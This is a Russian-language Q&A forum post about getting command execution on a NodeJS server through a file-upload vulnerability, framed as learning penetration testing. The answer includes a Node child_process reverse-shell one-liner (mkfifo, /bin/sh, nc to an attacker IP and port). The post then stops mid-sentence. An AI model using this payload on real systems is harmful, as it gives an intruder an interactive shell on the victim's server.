Ошибка удаленной загрузки файлов в NodeJS
Я пытаюсь изучить процесс пентестирования NodeJS. У меня обнаружена уязвимость удаленной загрузки файлов на веб-сайте Nodejs. Могу ли я загрузить удаленную оболочку в NodeJS, как мы это делаем в PHP или ASPX, и выполнить команду? я могу загрузить NodeJS shell.js и выполнить команду unix на сервере из этой оболочки?
1 ответ
Не уверен, что это то, что вам нужно, но если у вас есть возможность загрузить скрипт NodeJS на сервер и выполнить его, то да, вы можете запускать команды оболочки с помощью child_process.exec (аналогичный вопрос см. Здесь / ответ).
Это возможно, только если вы можете "ВЫПОЛНИТЬ" файл.
Но если вы можете "выполнить" код JavaScript, вы можете создать обратную оболочку, используя это:
(function () {
require("child_process")
.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attackerIP> <attackerPort> >/tmp/f')
})()]
В противном случае, если вы не можете выполнить файл, вы увидите только его содержимое: